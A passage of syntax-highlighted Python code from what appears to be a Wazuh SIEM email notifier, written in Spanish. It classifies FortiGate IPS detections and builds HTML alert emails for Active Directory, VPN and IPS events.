            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Verificar parches de seguridad. Revisar CVE mencionado."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"buffer"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">and</span> <span class="hljs-string">"overflow"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Buffer Overflow"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Actualizar software vulnerable. Verificar parches disponibles."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"scan"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"nmap"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Network Scan"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Monitorear IP origen para detectar fase de explotación."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"wordpress"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"wp-"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"WordPress Attack"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Actualizar WordPress y plugins. Revisar permisos de archivos."</span>
        <span class="hljs-keyword">else</span>:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"IPS Detection"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Revisar logs del firewall para más detalles."</span>

        data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'src_ip'</span>]}</span> → <span class="hljs-subst">{data[<span class="hljs-string">'dst_ip'</span>]}</span>:<span class="hljs-subst">{data[<span class="hljs-string">'dst_port'</span>]}</span> • <span class="hljs-subst">{data[<span class="hljs-string">'attack'</span>]}</span>"</span>

        <span class="hljs-keyword">return</span> data

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_ad_info_rows</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir filas de información para Active Directory"""</span>
        esc = <span class="hljs-keyword">lambda</span> x: html.escape(str(x <span class="hljs-keyword">or</span> <span class="hljs-string">"-"</span>))

        rows = []
        event_id = data.get(<span class="hljs-string">"event_id"</span>, <span class="hljs-string">""</span>)

        <span class="hljs-keyword">if</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4720"</span>, <span class="hljs-string">"4726"</span>):
            rows.extend([
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Usuario:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'target_user'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;SAM Account:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'sam_account'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;UPN:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'user_principal'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Nombre:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'display_name'</span>, <span class="hljs-string">''</span>))}</span>&lt;/td&gt;&lt;/tr&gt;"</span>
            ])
        <span class="hljs-keyword">elif</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4732"</span>, <span class="hljs-string">"4733"</span>, <span class="hljs-string">"4728"</span>, <span class="hljs-string">"4729"</span>):
            privilege_badge = self._create_badge(<span class="hljs-string">"GRUPO PRIVILEGIADO"</span>, <span class="hljs-string">"danger"</span>) <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_privileged"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>
            rows.extend([
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Miembro:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'member_name'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
                <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Grupo:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'group_name'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt; <span class="hljs-subst">{privilege_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>
            ])

        anon_badge = self._create_badge(<span class="hljs-string">"ANONYMOUS LOGON"</span>, <span class="hljs-string">"warning"</span>) <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_anonymous"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>
        agent_name = data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">''</span>)
        agent_id = data.get(<span class="hljs-string">'agent_id'</span>, <span class="hljs-string">''</span>)
        agent_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{agent_name}</span> (ID <span class="hljs-subst">{agent_id}</span>)"</span>, <span class="hljs-string">'default'</span>)
        computer_badge = self._create_badge(data.get(<span class="hljs-string">'computer'</span>, <span class="hljs-string">''</span>), <span class="hljs-string">'info'</span>)

        rows.extend([
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Ejecutado por:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'subject_user'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt; [<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'subject_domain'</span>, <span class="hljs-string">''</span>))}</span>] <span class="hljs-subst">{anon_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Equipo/DC:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{computer_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Agente Wazuh:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{agent_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Timestamp:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Intentos:&lt;/td&gt;&lt;td class='value'&gt;&lt;strong&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'fired_times'</span>, <span class="hljs-string">'1'</span>))}</span>&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;"</span>
        ])

        <span class="hljs-keyword">return</span> <span class="hljs-string">"\n"</span>.join(rows)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_fgt_vpn_info_rows</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir filas de información para FortiGate VPN/Admin"""</span>
        esc = <span class="hljs-keyword">lambda</span> x: html.escape(str(x <span class="hljs-keyword">or</span> <span class="hljs-string">"-"</span>))

        geo_badge = <span class="hljs-string">""</span>
        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"country"</span>):
            flag = self._get_country_flag(data.get(<span class="hljs-string">"iso"</span>, <span class="hljs-string">""</span>))
            geo_text = <span class="hljs-string">f"<span class="hljs-subst">{flag}</span> <span class="hljs-subst">{data[<span class="hljs-string">'country'</span>]}</span>"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"city"</span>):
                geo_text += <span class="hljs-string">f" • <span class="hljs-subst">{data[<span class="hljs-string">'city'</span>]}</span>"</span>

            geo_style = <span class="hljs-string">"geo-risk"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_high_risk"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">"geo"</span>
            geo_badge = self._create_badge(geo_text, geo_style)

        vector_badge = self._create_badge(data.get(<span class="hljs-string">'vector'</span>, <span class="hljs-string">'Desconocido'</span>), <span class="hljs-string">'info'</span>)
        dev_name = data.get(<span class="hljs-string">'dev_name'</span>, <span class="hljs-string">''</span>)
        dev_id = data.get(<span class="hljs-string">'dev_id'</span>, <span class="hljs-string">''</span>)
        device_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{dev_name}</span> / <span class="hljs-subst">{dev_id}</span>"</span>, <span class="hljs-string">'default'</span>)
        agent_name = data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">''</span>)
        agent_id = data.get(<span class="hljs-string">'agent_id'</span>, <span class="hljs-string">''</span>)
        agent_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{agent_name}</span> (ID <span class="hljs-subst">{agent_id}</span>)"</span>, <span class="hljs-string">'warning'</span>)
        status_badge = self._create_badge(data.get(<span class="hljs-string">'status'</span>, <span class="hljs-string">''</span>), <span class="hljs-string">'default'</span>)

        rows = [
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;IP Origen:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'src_ip'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt; <span class="hljs-subst">{geo_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Usuario:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'dst_user'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Vector:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{vector_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Dispositivo:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{device_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Agente Wazuh:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{agent_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Estado:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{status_badge}</span> • <span class="hljs-subst">{esc(data.get(<span class="hljs-string">'reason'</span>, <span class="hljs-string">''</span>))}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Descripción:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'log_desc'</span>, <span class="hljs-string">''</span>))}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Intentos:&lt;/td&gt;&lt;td class='value'&gt;&lt;strong&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'fired_times'</span>, <span class="hljs-string">'1'</span>))}</span>&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Timestamp:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>
        ]

        <span class="hljs-keyword">return</span> <span class="hljs-string">"\n"</span>.join(rows)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_ips_info_rows</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir filas de información para IPS"""</span>
        esc = <span class="hljs-keyword">lambda</span> x: html.escape(str(x <span class="hljs-keyword">or</span> <span class="hljs-string">"-"</span>))

        <span class="hljs-comment"># Badge de GeoIP</span>
        geo_badge = <span class="hljs-string">""</span>
        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"country"</span>):
            flag = self._get_country_flag(data.get(<span class="hljs-string">"iso"</span>, <span class="hljs-string">""</span>))
            geo_text = <span class="hljs-string">f"<span class="hljs-subst">{flag}</span> <span class="hljs-subst">{data[<span class="hljs-string">'country'</span>]}</span>"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"city"</span>):
                geo_text += <span class="hljs-string">f" • <span class="hljs-subst">{data[<span class="hljs-string">'city'</span>]}</span>"</span>

            geo_style = <span class="hljs-string">"geo-risk"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_high_risk"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">"geo"</span>
            geo_badge = self._create_badge(geo_text, geo_style)

        <span class="hljs-comment"># Badges</span>
        severity_styles = {
            <span class="hljs-string">"critical"</span>: <span class="hljs-string">"critical"</span>,
            <span class="hljs-string">"high"</span>: <span class="hljs-string">"danger"</span>,
            <span class="hljs-string">"medium"</span>: <span class="hljs-string">"warning"</span>,
            <span class="hljs-string">"low"</span>: <span class="hljs-string">"info"</span>
        }
        severity_badge = self._create_badge(
            data.get(<span class="hljs-string">'severity'</span>, <span class="hljs-string">'unknown'</span>).upper(),
            severity_styles.get(data.get(<span class="hljs-string">'severity'</span>, <span class="hljs-string">''</span>).lower(), <span class="hljs-string">'default'</span>)
        )

        action_style = <span class="hljs-string">"danger"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">'action'</span>) == <span class="hljs-string">'detected'</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"success"</span>
        action_badge = self._create_badge(data.get(<span class="hljs-string">'action'</span>, <span class="hljs-string">''</span>).upper(), action_style)

        attack_type_badge = self._create_badge(data.get(<span class="hljs-string">'attack_type'</span>, <span class="hljs-string">'IPS Detection'</span>), <span class="hljs-string">'info'</span>)

        device_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{data.get(<span class="hljs-string">'dev_name'</span>, <span class="hljs-string">''</span>)}</span> / <span class="hljs-subst">{data.get(<span class="hljs-string">'dev_id'</span>, <span class="hljs-string">''</span>)}</span>"</span>, <span class="hljs-string">'default'</span>)
        agent_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">''</span>)}</span> (ID <span class="hljs-subst">{data.get(<span class="hljs-string">'agent_id'</span>, <span class="hljs-string">''</span>)}</span>)"</span>, <span class="hljs-string">'warning'</span>)

        rows = [
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Tipo de Ataque:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{attack_type_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Firma:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'attack'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;IP Origen:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'src_ip'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt; <span class="hljs-subst">{geo_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;IP Destino:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'dst_ip'</span>, <span class="hljs-string">''</span>))}</span>:<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'dst_port'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Severidad:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{severity_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Acción IPS:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{action_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Protocolo:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'protocol'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Dispositivo:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{device_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Agente Wazuh:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{agent_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Intentos:&lt;/td&gt;&lt;td class='value'&gt;&lt;strong&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'fired_times'</span>, <span class="hljs-string">'1'</span>))}</span>&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Timestamp:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>
        ]

        <span class="hljs-keyword">return</span> <span class="hljs-string">"\n"</span>.join(rows)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_generic_info_rows</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir filas de información para alertas genéricas"""</span>
        esc = <span class="hljs-keyword">lambda</span> x: html.escape(str(x <span class="hljs-keyword">or</span> <span class="hljs-string">"-"</span>))

        agent_name = data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">''</span>)
        agent_id = data.get(<span class="hljs-string">'agent_id'</span>, <span class="hljs-string">''</span>)
        agent_badge = self._create_badge(<span class="hljs-string">f"<span class="hljs-subst">{agent_name}</span> (ID <span class="hljs-subst">{agent_id}</span>)"</span>, <span class="hljs-string">'default'</span>)
        decoder_badge = self._create_badge(data.get(<span class="hljs-string">'decoder'</span>, <span class="hljs-string">''</span>), <span class="hljs-string">'info'</span>)

        rows = [
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Agente:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{agent_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Ubicación:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'location'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Decoder:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{decoder_badge}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Grupos:&lt;/td&gt;&lt;td class='value'&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'rule_groups'</span>, <span class="hljs-string">''</span>))}</span>&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Intentos:&lt;/td&gt;&lt;td class='value'&gt;&lt;strong&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'fired_times'</span>, <span class="hljs-string">'1'</span>))}</span>&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;"</span>,
            <span class="hljs-string">f"&lt;tr&gt;&lt;td class='label'&gt;Timestamp:&lt;/td&gt;&lt;td class='value'&gt;&lt;code&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>))}</span>&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;"</span>
        ]

        <span class="hljs-keyword">return</span> <span class="hljs-string">"\n"</span>.join(rows)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_html_body</span>(<span class="hljs-params">self, data: Dict[str, Any], alert_type: str</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir cuerpo HTML del email con template unificado"""</span>
        esc = <span class="hljs-keyword">lambda</span> x: html.escape(str(x <span class="hljs-keyword">or</span> <span class="hljs-string">"-"</span>))

        css_styles = <span class="hljs-string">"""
        &lt;style&gt;
            body { font-family: 'Segoe UI', Roboto, Arial, sans-serif; background: #f8fafc; margin: 0; padding: 20px; }
            .container { max-width: 800px; margin: 0 auto; background: white; border-radius: 12px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); overflow: hidden; }
            .header { padding: 24px; border-left: 8px solid """</span> + data.get(<span class="hljs-string">'color'</span>, <span class="hljs-string">'#6366f1'</span>) + <span class="hljs-string">"""; background: linear-gradient(135deg, #f8fafc 0%, #e2e8f0 100%); }
            .title { font-size: 24px; font-weight: 700; margin-bottom: 8px; color: #1f2937; }
            .subtitle { font-size: 14px; color: #64748b; margin-bottom: 16px; }
            .badges { display: flex; gap: 8px; flex-wrap: wrap; }
            .pivot-section { background: #fef2f2; padding: 16px; margin: 20px; border-radius: 8px; border-left: 4px solid """</span> + data.get(<span class="hljs-string">'color'</span>, <span class="hljs-string">'#6366f1'</span>) + <span class="hljs-string">"""; }
            .pivot-label { font-weight: bold; color: #374151; margin-bottom: 4px; }
            .pivot-value { font-family: 'Courier New', monospace; font-size: 16px; font-weight: bold; color: #1f2937; }
            .info-table { width: 100%; border-collapse: collapse; margin: 20px 0; }
            .info-table td { padding: 12px 16px; border-bottom: 1px solid #e5e7eb; }
            .info-table .label { font-weight: 600; color: #374151; width: 160px; background: #f9fafb; }
            .info-table .value { color: #1f2937; }
            .recommendation { background: #fef3c7; padding: 16px; margin: 20px; border-radius: 8px; border-left: 4px solid #f59e0b; }
            .recommendation-title { font-weight: bold; color: #92400e; margin-bottom: 8px; }
            .recommendation-text { color: #78350f; }
            .actions { background: #f0f9ff; padding: 16px; margin: 20px; border-radius: 8px; border-left: 4px solid #0284c7; }
            .actions-title { font-weight: bold; color: #0c4a6e; margin-bottom: 8px; }
            .actions ul { margin: 8px 0; padding-left: 20px; color: #075985; }
            .footer { padding: 16px; background: #f8fafc; border-top: 1px solid #e5e7eb; font-size: 12px; color: #64748b; text-align: center; }
        &lt;/style&gt;
        """</span>

        priority_styles = {
            <span class="hljs-string">"EMERGENCIA"</span>: <span class="hljs-string">"critical"</span>,
            <span class="hljs-string">"CRÍTICO URGENTE"</span>: <span class="hljs-string">"critical"</span>,
            <span class="hljs-string">"CRÍTICO"</span>: <span class="hljs-string">"danger"</span>,
            <span class="hljs-string">"ALTO"</span>: <span class="hljs-string">"warning"</span>,
            <span class="hljs-string">"MEDIO-ALTO"</span>: <span class="hljs-string">"warning"</span>,
            <span class="hljs-string">"MEDIO"</span>: <span class="hljs-string">"info"</span>,
            <span class="hljs-string">"BAJO"</span>: <span class="hljs-string">"default"</span>
        }
        priority_style = priority_styles.get(data.get(<span class="hljs-string">"priority"</span>, <span class="hljs-string">"MEDIO"</span>), <span class="hljs-string">"default"</span>)

        badges_html = <span class="hljs-string">f"""
            <span class="hljs-subst">{self._create_badge(<span class="hljs-string">f"RULE <span class="hljs-subst">{data[<span class="hljs-string">'rule_id'</span>]}</span> • NIVEL <span class="hljs-subst">{data[<span class="hljs-string">'rule_level'</span>]}</span>"</span>, <span class="hljs-string">"info"</span>)}</span>
            <span class="hljs-subst">{self._create_badge(data.get(<span class="hljs-string">'priority'</span>, <span class="hljs-string">'MEDIO'</span>), priority_style)}</span>
        """</span>

        pivot_html = <span class="hljs-string">f"""
        &lt;div class="pivot-section"&gt;
            &lt;div class="pivot-label"&gt;Información Principal:&lt;/div&gt;
            &lt;div class="pivot-value"&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'pivot'</span>, <span class="hljs-string">'N/A'</span>))}</span>&lt;/div&gt;
        &lt;/div&gt;
        """</span>

        <span class="hljs-keyword">if</span> alert_type == <span class="hljs-string">"active_directory"</span>:
            info_rows = self._build_ad_info_rows(data)
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_vpn"</span>:
            info_rows = self._build_fgt_vpn_info_rows(data)
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_ips"</span>:
            info_rows = self._build_ips_info_rows(data)
        <span class="hljs-keyword">else</span>:
            info_rows = self._build_generic_info_rows(data)

        recommendation_html = <span class="hljs-string">""</span>
        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"recommendation"</span>):
            recommendation_html = <span class="hljs-string">f"""
            &lt;div class="recommendation"&gt;
                &lt;div class="recommendation-title"&gt;Recomendación:&lt;/div&gt;
                &lt;div class="recommendation-text"&gt;<span class="hljs-subst">{esc(data[<span class="hljs-string">'recommendation'</span>])}</span>&lt;/div&gt;
            &lt;/div&gt;
            """</span>

        actions_html = <span class="hljs-string">f"""
        &lt;div class="actions"&gt;
            &lt;div class="actions-title"&gt;Acciones Sugeridas:&lt;/div&gt;
            &lt;ul&gt;
                &lt;li&gt;Revisar actividad reciente en los logs del sistema&lt;/li&gt;
                &lt;li&gt;Verificar la legitimidad del evento con usuarios involucrados&lt;/li&gt;
                &lt;li&gt;Documentar el incidente en el sistema de tickets&lt;/li&gt;
                &lt;li&gt;Aplicar medidas correctivas si es necesario&lt;/li&gt;
                <span class="hljs-subst">{<span class="hljs-string">f"&lt;li&gt;&lt;strong&gt;<span class="hljs-subst">{data[<span class="hljs-string">'recommendation'</span>]}</span>&lt;/strong&gt;&lt;/li&gt;"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">'recommendation'</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>}</span>
            &lt;/ul&gt;
        &lt;/div&gt;
        """</span>

        <span class="hljs-keyword">return</span> <span class="hljs-string">f"""&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'title'</span>, <span class="hljs-string">'Wazuh Alert'</span>))}</span>&lt;/title&gt;
    <span class="hljs-subst">{css_styles}</span>
&lt;/head&gt;
&lt;body&gt;
    &lt;div class="container"&gt;
        &lt;div class="header"&gt;
            &lt;div class="title"&gt;<span class="hljs-subst">{data.get(<span class="hljs-string">'title'</span>, <span class="hljs-string">'Alerta de Seguridad'</span>)}</span>&lt;/div&gt;
            &lt;div class="subtitle"&gt;<span class="hljs-subst">{esc(data.get(<span class="hljs-string">'rule_desc'</span>, <span class="hljs-string">''</span>))}</span>&lt;/div&gt;
            &lt;div class="badges"&gt;<span class="hljs-subst">{badges_html}</span>&lt;/div&gt;
        &lt;/div&gt;

        <span class="hljs-subst">{pivot_html}</span>

        &lt;table class="info-table"&gt;
            <span class="hljs-subst">{info_rows}</span>
        &lt;/table&gt;

        <span class="hljs-subst">{recommendation_html}</span>

        <span class="hljs-subst">{actions_html}</span>

        &lt;div class="footer"&gt;
            &lt;strong&gt;Wazuh SIEM Alert&lt;/strong&gt; • Unified Email Notifier v4.0&lt;br&gt;
            Generado: <span class="hljs-subst">{datetime.now().strftime(<span class="hljs-string">'%d/%m/%Y %H:%M:%S'</span>)}</span>
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_text_body</span>(<span class="hljs-params">self, data: Dict[str, Any], alert_type: str</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir cuerpo de texto plano del email"""</span>
        lines = [
